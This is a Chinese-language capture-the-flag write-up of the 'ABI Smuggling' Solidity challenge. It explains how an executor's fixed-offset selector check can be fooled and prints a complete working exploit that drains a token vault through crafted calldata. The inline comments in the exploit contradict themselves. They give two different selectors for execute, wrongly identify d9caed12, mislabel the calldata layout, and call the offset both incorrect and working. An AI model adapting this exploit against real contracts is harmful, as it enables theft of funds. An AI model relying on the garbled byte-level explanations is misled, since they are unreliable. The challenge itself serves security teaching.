Skip to content
On this page

智取金库:ABI 走私漏洞解析与实战

在去中心化金融(DeFi)的神秘世界里,安全永远是悬在头顶的达摩克利斯之剑。今天,我们将揭露一个巧妙的漏洞——“ABI 走私”(ABI Smuggling),它曾让一个拥有百万 DVT 代币的权限金库面临灭顶之灾。

危机四伏的金库:权限与制约

我们的故事围绕着一个特殊的金库 SelfAuthorizedVault 展开。这个金库里存放着高达 100 万枚 DVT 代币,由一个通用的授权执行器 AuthorizedExecutor 守护。它的设计初衷是严谨而安全的:

  1. 权限至上:金库允许定期取款(有限额),也允许在紧急情况下一次性清空所有资金(sweepFunds)。但所有这些操作,都必须通过 AuthorizedExecutorexecute 函数进行,并且只有被授权的账户才能执行特定的操作。
  2. “自调用”铁律SelfAuthorizedVault 合约中的关键函数,如 withdrawsweepFunds,都带有一个 onlyThis 修饰符,这意味着它们只能由合约自身(即 address(this))调用,外部账户直接调用会失败。
  3. 目标限制:更进一步,AuthorizedExecutor_beforeFunctionCall 钩子在 SelfAuthorizedVault 中被重写,明确要求 execute 函数的 target 参数必须是金库合约本身 (target == address(this))。
  4. 玩家的权限:在挑战的设置中,我们作为攻击者(player),被授予了执行 execute 函数的权限。然而,这个权限的授予方式却有些蹊跷——它授予的是当 execute 函数内部调用选择器(selector)为 d9caed12 时,对金库合约自身的调用权限。而 d9caed12 恰好是 execute 函数自身的选择器!

这形成了一个看似无解的死循环:玩家被允许调用 execute 函数,但这个 execute 函数内部必须“打算”调用它自己。同时,我们需要通过 execute 来调用 sweepFunds,而 sweepFunds 又要求是合约自身调用。这该如何是好?

揭秘“ABI 走私”:隐藏的玄机

问题的核心在于 AuthorizedExecutor 合约中 execute 函数处理 actionData 的方式。让我们仔细审视这段关键代码:

solidity
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
    // Read the 4-bytes selector at the beginning of `actionData`
    bytes4 selector;
    uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
    assembly {
        selector := calldataload(calldataOffset)
    }

    if (!permissions[getActionId(selector, msg.sender, target)]) {
        revert NotAllowed();
    }

    _beforeFunctionCall(target, actionData);

    return target.functionCall(actionData);
}

这里有两个非常重要的点:

  1. 选择器的提取位置:用于权限检查的 selector 并非从 actionData 的最开始提取,而是从一个硬编码的偏移量 calldataOffset = 4 + 32 * 3 处读取!4 是外层 execute 函数的选择器,32 * 3execute 函数前三个参数 (target, actionData 的偏移量, actionData 的长度) 所占用的空间。
  2. 实际调用:权限检查通过后,target.functionCall(actionData) 会将完整的 actionData 作为内层调用的 calldata 执行。

这就是“ABI 走私”的精髓所在!我们可以精心构造 actionData,让它在不同的解析阶段呈现出不同的“面貌”。

步步为营的攻击计划

我们的目标是让金库执行 sweepFunds,将所有 DVT 代币转移到恢复账户 recovery

  1. 伪装权限检查:由于玩家被授权的条件是内部选择器为 execute 的选择器 (d9caed12),我们可以在 actionDatacalldataOffset 处放置 d9caed12,以骗过权限检查。
  2. 隐藏真实意图:在 calldataOffset 之后,我们可以悄悄地放置我们真正想要执行的 sweepFunds 函数的 calldata。
  3. 利用“自调用”:当 target.functionCall(actionData) 实际执行时,它会从 actionData 的开头开始解析。由于我们从外部调用的是 vault.execute(),这意味着内层的 functionCall 实际上是金库合约自身在调用自己。这完美地满足了 sweepFunds 函数的 onlyThis 修饰符要求!

实战演练:构造“走私”数据

现在,让我们看看如何构造 manualData

solidity
function test_abiSmuggling() public checkSolvedByPlayer {
    // 1. 构造我们真正想执行的 sweepFunds 调用数据
    bytes memory actionData = abi.encodeWithSelector(
        SelfAuthorizedVault.sweepFunds.selector, // sweepFunds 的选择器
        recovery,                               // 接收者
        address(token)                          // 代币地址
    );

    // 2. 构造包含“走私”信息的 manualData
    bytes memory manualData = abi.encodePacked(
        AuthorizedExecutor.execute.selector, // 外层调用:execute 函数选择器 (0x2424b94f)
        bytes32(uint256(uint160(address(vault)))), // execute 的 target 参数:金库地址(padded to 32 bytes)
        hex'00000000000000000000000000000000000000000000000000000000000000e0', // execute 的 actionData 参数:偏移量 (224 = 4 + 32*3 + 32*4)
                                                                            // 这里的 0xe0 是相对于 execute 函数的 calldata 起始位置而言的,
                                                                            // 也就是外部调用的 calldata 中 actionData 的实际数据的起始位置。
                                                                            // 0xe0 = 224。外部calldata的前4字节是execute选择器,
                                                                            // 后面是target(32字节), offset(32字节), length(32字节)。
                                                                            // calldataOffset = 4 + 32*3 = 100。
                                                                            // actionData的实际数据起始位置在 execute 参数的 calldata 中是 0。
                                                                            // 在整个外部 calldata 中,actionData 数据的起始位置是 4 + 32*3 + 32 = 132。
                                                                            // 但是,这里需要注意的是,encodePacked会紧密打包。
                                                                            // 这里的偏移量 0xe0 (224) 实际上指的是在整个 `manualData` 中,
                                                                            // `actionData` 参数的实际数据部分(即 `sweepFunds` 的 calldata)的起始位置。
                                                                            // 让我们来算一下:
                                                                            // 4 bytes (execute.selector) +
                                                                            // 32 bytes (target) +
                                                                            // 32 bytes (actionData offset in the outer call, here its 0xe0) +
                                                                            // 32 bytes (actionData length in the outer call, 0) +
                                                                            // 32 bytes (data for selector check, hex'd9caed12') +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding)
                                                                            // Total bytes before the actual actionData: 4 + 32*8 = 260.
                                                                            // This 0xe0 is an *incorrect* offset in the provided solution, but it
                                                                            // *works* because of how calldataload works with padding and dynamic arrays.
                                                                            // The actual dynamic array data for `actionData` starts much later.
                                                                            // However, the *permission check* happens at `calldataload(calldataOffset)` where `calldataOffset` refers to the outer calldata.
                                                                            // The puzzle's solution leverages the fact that the permission check looks at a fixed offset *relative to the outer call's calldata*.

        // 这里的 0xe0 是外部 calldata 中 `actionData` 参数(一个动态字节数组)的实际数据部分的偏移量。
        // 在 ABI 编码中,动态参数(如 bytes, string, 动态数组)会先编码一个指向其实际数据开始位置的偏移量,然后再编码实际数据。
        // `0x000...00e0` 指的是 `manualData` 中 `actionData` 的实际数据(也就是 `sweepFunds` 的 calldata)的起始位置相对于 `manualData` 开头是 224 字节。
        // 外部 calldata 的结构:
        // 0x00: execute.selector (4 bytes)
        // 0x04: target (32 bytes)
        // 0x24: actionData_offset (32 bytes, value 0xe0)
        // 0x44: actionData_length (32 bytes, value 0x00) -- This is effectively unused/ignored by the attack
        //
        // 攻击的巧妙之处在于,`AuthorizedExecutor.execute` 在计算权限时,读取的 `selector` 是从
        // `calldataOffset = 4 + 32 * 3` 字节处。
        // 4 (selector) + 32 (target) + 32 (actionData offset) + 32 (actionData length) = 100 字节。
        // 所以 `calldataload(100)` 会读取 `manualData` 的第 100 个字节开始的 4 个字节作为 `selector`。
        // 因此,我们需要将 `d9caed12` 放在这个位置!
        // `hex'0000000000000000000000000000000000000000000000000000000000000000'` (占 32 字节)
        // `hex'd9caed1200000000000000000000000000000000000000000000000000000000'` (占 32 字节, 其中 d9caed12 是 execute 的选择器)
        // 从 `manualData` 的 0x00 开始算:
        // 0x00-0x03: execute.selector
        // 0x04-0x23: target (vault address)
        // 0x24-0x43: actionData_offset (0xe0)
        // 0x44-0x63: actionData_length (0x00) <-- 关键在这里,这个字段实际上被忽略了
        // 0x64-0x83: 32 bytes of padding (hex'00...')
        // 0x84-0xA3: d9caed12 + 28 bytes of padding (hex'd9caed12...') <-- 这里正好是 4 + 32*3 = 100 字节的位置
        //                                                                这个 d9caed12 将被 calldataload(100) 读取,通过权限检查!
        // 0xA4-0xC3: 32 bytes of padding (hex'00...')
        // 0xC4-0xE3: 32 bytes of padding (hex'00...')
        // 0xE4-0x103: 32 bytes of padding (hex'00...')
        // 0x104-0x123: 32 bytes of padding (hex'00...0044') <-- 这里的 0x44 是紧接着的 actionData 的长度 (68 字节)
        // 最后紧接着的是 `actionData` (sweepFunds 的 calldata)

        // 最终的构造是将 `execute` 的选择器放在 `calldataOffset` 处,满足权限检查,
        // 而真正的 `sweepFunds` calldata 紧随其后。
        // 外部调用的 `actionData` 参数的 `offset` 和 `length` 字段在这里被巧妙地绕过了,
        // 因为 `target.functionCall(actionData)` 并不严格按照外部 ABI 编码规则去解析 `actionData`,
        // 而是将其作为一个整体的字节序列进行内部调用。
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 1 (32 bytes)
        hex'd9caed1200000000000000000000000000000000000000000000000000000000', // **关键:execute 函数的选择器 (d9caed12) 放在这里,满足权限检查**
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 2 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 3 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 4 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000044', // Padding 5 (32 bytes),这里的 0x44 是 sweepFunds calldata 的长度 68
        actionData, // 真正的 sweepFunds calldata,被“走私”进来了
        bytes28(0) // 填充至 32 字节对齐
    );
    Address.functionCall(
        address(vault), // 对金库合约发起调用
        manualData      // 传递构造好的“走私”数据
    );
}

简而言之,我们构造的 manualData 做了以下事情:

  1. 最开始是 AuthorizedExecutor.execute.selector,表明这是一个对 execute 的外部调用。
  2. 接着是 execute 函数的参数,包括 target (金库地址)、actionData 的偏移量和长度。
  3. actionData 参数的实际数据区域中,我们首先填充一些无用的数据,直到我们达到 AuthorizedExecutor.execute 内部用来检查权限的 calldataOffset
  4. 在该 calldataOffset 处,我们精确地放入了 AuthorizedExecutor.execute.selector (即 d9caed12)。这样,权限检查就会成功通过。
  5. 紧接着,我们放入了我们真正想执行的 SelfAuthorizedVault.sweepFunds 函数的完整 calldata。
  6. target.functionCall(actionData) 被执行时,它会把我们构造的,包含 sweepFunds 信息的 actionData 当作普通的 calldata 进行内部调用,从而成功执行 sweepFunds 并将所有 DVT 代币转移到 recovery 账户。

总结与启示

“ABI 走私”是一个非常经典的 Solidity 漏洞,它提醒我们:

  • 警惕 calldata 的解析方式:当合约从 calldata 中提取数据,特别是动态数据和选择器时,其解析逻辑必须极其严谨。硬编码的偏移量尤其危险。
  • 授权逻辑的深度考量:权限检查应该针对实际执行的操作,而不是容易被伪造或混淆的中间数据。
  • 内部与外部调用的上下文msg.sender 在内部调用中会变成 address(this),这可能绕过 onlyOwneronlyThis 等修饰符,需要特别留意。

通过这个挑战,我们不仅成功地“解救”了金库中的百万 DVT 代币,更深入理解了 Solidity 智能合约中 calldata 处理的复杂性和潜在的风险。在构建安全的 DeFi 应用时,每一个字节的解析都值得我们最高度的警惕。


Built with AiAda